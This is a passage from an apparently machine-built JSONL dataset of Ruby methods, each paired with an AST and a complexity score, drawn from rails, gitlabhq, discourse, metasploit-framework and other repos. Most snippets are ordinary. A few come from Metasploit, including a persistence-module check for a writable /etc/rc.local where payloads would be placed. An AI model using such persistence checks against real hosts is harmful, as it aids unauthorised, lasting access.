selecting a meeting\n # the meeting and therefore the project is not set\n # in this case we only want to show the \"Meeting can't be blank\" error instead of a misleading permission base error\n # the error is added by the models presence validation\n return unless visible?\n\n unless user.allowed_in_project?(:manage_agendas, model.project)\n errors.add :base, :error_unauthorized\n end\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_allowed_to_add\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visible?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"manage_agendas\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"error_unauthorized\"]}]}]}]}]}","id":"ca7e7ddc-9417-4208-9422-6bbfc087ff69"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit.rb","start_line":867,"raw_source":"def payload_disable_nops(explicit_target = nil)\n explicit_target ||= target\n\n if (explicit_target and explicit_target.payload_disable_nops)\n explicit_target.payload_disable_nops\n else\n payload_info['DisableNops']\n end\n end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_disable_nops\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"explicit_target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"explicit_target\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_target\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_target\"]},\"payload_disable_nops\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"explicit_target\"]},\"payload_disable_nops\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DisableNops\"]}]}]}]}]}","id":"cbe14f0e-54db-4618-9472-08a615be6daa"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/punbb.rb","start_line":13,"raw_source":"def initialize\n super\n\n @client =\n Mysql2::Client.new(\n host: \"localhost\",\n username: \"root\",\n password: \"pa$$word\",\n database: PUNBB_DB,\n )\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"root\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"pa$$word\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"const\",\"children\":[null,\"PUNBB_DB\"]}]}]}]}]}]}]}","id":"d9344ef9-5132-44b8-bd35-67546e892c4f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_nuget_normalized_version.rb","start_line":24,"raw_source":"def set_normalized_version\n return unless package\n\n self.normalized_version = normalize\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_normalized_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalized_version=\",{\"type\":\"send\",\"children\":[null,\"normalize\"]}]}]}]}","id":"a9d7392a-c266-4966-96d0-9d5330a4945c"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/feed_item_accessor.rb","start_line":25,"raw_source":"def element(element_name)\n rss_item.respond_to?(element_name) ? rss_item.public_send(element_name) : nil\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rss_item\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"element_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rss_item\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"element_name\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"51d8a303-3a36-4951-bf1f-0ed4a4159352"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/environments_controller.rb","start_line":215,"raw_source":"def environment_params\n params.require(:environment).permit(allowed_environment_attributes)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"environment_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"environment\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"allowed_environment_attributes\"]}]}]}","id":"7c5c9b8e-b3e1-47a3-be13-35b350b09f17"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/etag_caching/router/graphql.rb","start_line":43,"raw_source":"def self.cache_key(request)\n [\n request.path,\n request.headers[GRAPHQL_ETAG_RESOURCE_HEADER]\n ].compact.join(':')\n end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"GRAPHQL_ETAG_RESOURCE_HEADER\"]}]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}","id":"e5aeb869-c7f5-4cb6-851c-f97e437d2afd"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":634,"raw_source":"def test_should_raise_an_argument_error_if_something_other_than_a_hash_is_passed_in\n exception = assert_raise ArgumentError do\n @ship.update(pirate_attributes: \"foo\")\n end\n assert_equal \"Hash expected for `pirate` attributes, got String\", exception.message\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_raise_an_argument_error_if_something_other_than_a_hash_is_passed_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ship\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pirate_attributes\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hash expected for `pirate` attributes, got String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}","id":"99565301-b308-4577-8746-04446c6c73c7"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":1498,"raw_source":"def test_sum_takes_attribute_type_precedence_over_database_type\n assert_called(\n Account.lease_connection, :select_all,\n returns: ActiveRecord::Result.new([\"sum\"], [[10.to_d]])\n ) do\n result = Account.sum(:credit_limit)\n assert_equal 10, result\n assert_instance_of Integer, result\n end\n end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sum_takes_attribute_type_precedence_over_database_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"lease_connection\"]},{\"type\":\"sym\",\"children\":[\"select_all\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returns\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Result\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sum\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"to_d\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"credit_limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"a21c7cc0-b62f-4872-a952-0be4aa0e20d1"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/messages/message_metadata_tests.rb","start_line":164,"raw_source":"def assert_roundtrip(data, codec, encode_options = {}, decode_options = {})\n assert_equal data, roundtrip(data, codec, encode_options, decode_options)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_roundtrip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"codec\"]},{\"type\":\"optarg\",\"children\":[\"encode_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"decode_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"roundtrip\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"codec\"]},{\"type\":\"lvar\",\"children\":[\"encode_options\"]},{\"type\":\"lvar\",\"children\":[\"decode_options\"]}]}]}]}","id":"ccbff1e9-8c11-4bcc-be2a-a5810c9088f6"} {"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/puppet.rb","start_line":12,"raw_source":"def self.analyze_text(text)\n return 1 if text.shebang? 'puppet-apply'\n return 1 if text.shebang? 'puppet'\n end","complexity_score":4.55,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"analyze_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"shebang?\",{\"type\":\"str\",\"children\":[\"puppet-apply\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"shebang?\",{\"type\":\"str\",\"children\":[\"puppet\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]}]}]}","id":"14b8afd2-9b7c-4a1f-8731-7c8c6df60ba9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb","start_line":72,"raw_source":"def banner_timeout\n (datastore['TelnetBannerTimeout'] || 25).to_i\n end","complexity_score":5.33,"ast_json":"{\"type\":\"def\",\"children\":[\"banner_timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TelnetBannerTimeout\"]}]},{\"type\":\"int\",\"children\":[25]}]}]},\"to_i\"]}]}","id":"bfb36952-a53e-433e-8527-fa5561897a85"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/persistence/rc_local.rb","start_line":64,"raw_source":"def check\n print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')\n # a few notes for those who like to read source code. On Ubuntu 18.04.3, when no\n # /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).\n # When /etc/rc.local exists, systemctl status rc.local shows active (exited).\n # so checking the service status isn't necessarily helpful.\n if exists?('/etc/rc.local')\n return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')\n else\n return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')\n end\n\n CheckCode::Appears('/etc/rc.local is writable')\n end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_dir\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/tmp\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Payloads in /tmp will only last until reboot, you want to choose elsewhere.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"str\",\"children\":[\"/etc/rc.local\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"str\",\"children\":[\"/etc/rc.local\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"/etc/rc.local isnt writable\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"str\",\"children\":[\"/etc/\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"/etc/ isnt writable\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"/etc/rc.local is writable\"]}]}]}]}","id":"0c5192fc-a6c3-4df5-bc1f-24a358632897"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/recurring_meeting/show.rb","start_line":129,"raw_source":"def expect_modal(...)\n expect(page).to have_modal(...)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_modal\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_modal\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"c80557f9-46a8-4309-8870-c4b771d9b34f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/suggestor.rb","start_line":48,"raw_source":"def comment(comment_text = nil, suggested_line = nil)\n if suggested_line\n suggestion_text = <<~SUGGESTION\n ```suggestion\n %<suggested_line>s\n ```\n SUGGESTION\n end\n\n comment_body = <<~COMMENT_BODY.chomp\n #{suggestion_text}\n #{comment_text}\n COMMENT_BODY\n\n format(comment_body.chomp, suggested_line: suggested_line)\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"comment\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"comment_text\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"suggested_line\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggested_line\"]},{\"type\":\"lvasgn\",\"children\":[\"suggestion_text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"```suggestion\\n\"]},{\"type\":\"str\",\"children\":[\"%<suggested_line>s\\n\"]},{\"type\":\"str\",\"children\":[\"```\\n\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"comment_body\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion_text\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_text\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"chomp\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_body\"]},\"chomp\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suggested_line\"]},{\"type\":\"lvar\",\"children\":[\"suggested_line\"]}]}]}]}]}]}","id":"39a1b832-d2ab-4bd0-9517-f927e427b54a"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/dot_position.rb","start_line":95,"raw_source":"def line_between?(first_line, second_line)\n (first_line - second_line) > 1\n end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"line_between?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"first_line\"]},{\"type\":\"arg\",\"children\":[\"second_line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_line\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"second_line\"]}]}]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"edc345e6-8a6a-4309-bb4f-cda45318730b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host.rb","start_line":172,"raw_source":"def refresh_status\n @latest_lsn_query = nil # Periodically clear the cached @latest_lsn_query value in case permissions change\n @online = replica_is_up_to_date?\n @last_checked_at = Time.zone.now\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@latest_lsn_query\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@online\",{\"type\":\"send\",\"children\":[null,\"replica_is_up_to_date?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_checked_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}","id":"96b460c4-f88c-4271-a15c-ecdc24fa73cd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/hardware/rftransceiver/rftransceiver.rb","start_line":63,"raw_source":"def set_mode(mode)\n return false unless is_rf?\n self.index ||= 0\n r = client.rftransceiver.set_mode(self.index, mode)\n return_success(r)\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_mode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mode\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_rf?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"index\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"rftransceiver\"]},\"set_mode\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"index\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"return_success\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}","id":"ae688058-fb8f-440f-9cd2-43563a7edd8a"} {"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/formatters/terminal256.rb","start_line":95,"raw_source":"def reset_string\n @reset_string ||= begin\n attrs = []\n attrs << '39' if fg # fg reset\n attrs << '49' if bg # bg reset\n attrs << '00' if style[:bold] || style[:italic]\n\n escape(attrs)\n end\n end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reset_string\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"<<\",{\"type\":\"str\",\"children\":[\"39\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"<<\",{\"type\":\"str\",\"children\":[\"49\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bold\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"italic\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"<<\",{\"type\":\"str\",\"children\":[\"00\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"escape\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]}]}]}","id":"897bedf5-8bbb-4071-b850-4b3e415e0aa5"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/components/ai_caption_popup.rb","start_line":20,"raw_source":"def has_caption_popup_value?(value)\n page.find(CAPTION_TEXTAREA_SELECTOR).value == value\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_caption_popup_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"const\",\"children\":[null,\"CAPTION_TEXTAREA_SELECTOR\"]}]},\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"ddfcb102-cda9-4a5c-a990-e9ec37f030b1"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/budget.rb","start_line":134,"raw_source":"def base_amount=(value)\n super(parse_number_string_to_number(value))\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"base_amount=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_number_string_to_number\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"5eead529-7a5c-4994-9106-5d70531388a7"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder/cloud_manager.rb","start_line":98,"raw_source":"def orchestration_stack_ancestry\n skip_auto_inventory_attributes\n skip_model_class\n\n add_properties(\n :custom_save_block => orchestration_stack_ancestry_save_block\n )\n\n add_dependency_attributes(\n :orchestration_stacks => [persister.collections[:orchestration_stacks]],\n :orchestration_stacks_resources => [persister.collections[:orchestration_stacks_resources]]\n )\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"orchestration_stack_ancestry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_auto_inventory_attributes\"]},{\"type\":\"send\",\"children\":[null,\"skip_model_class\"]},{\"type\":\"send\",\"children\":[null,\"add_properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_save_block\"]},{\"type\":\"send\",\"children\":[null,\"orchestration_stack_ancestry_save_block\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_dependency_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"orchestration_stacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persister\"]},\"collections\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"orchestration_stacks\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"orchestration_stacks_resources\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persister\"]},\"collections\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"orchestration_stacks_resources\"]}]}]}]}]}]}]}]}","id":"05762de0-bc3e-4b4b-ad6c-e3d06a2dc1c2"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/drafts_controller.rb","start_line":10,"raw_source":"def index\n params.permit(:offset)\n\n stream =\n Draft.stream(\n user: current_user,\n offset: params[:offset],\n limit: fetch_limit_from_params(default: nil, max: INDEX_LIMIT),\n )\n\n response = { drafts: serialize_data(stream, DraftSerializer) }\n\n if guardian.can_lazy_load_categories?\n category_ids = stream.map { |draft| draft.topic&.category_id }.compact.uniq\n categories = Category.secured(guardian).with_parents(category_ids)\n response[:categories] = serialize_data(categories, CategoryBadgeSerializer)\n end\n\n render json: response\n end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"offset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Draft\"]},\"stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[null,\"fetch_limit_from_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_LIMIT\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drafts\"]},{\"type\":\"send\",\"children\":[null,\"serialize_data\",{\"type\":\"lvar\",\"children\":[\"stream\"]},{\"type\":\"const\",\"children\":[null,\"DraftSerializer\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_lazy_load_categories?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"childr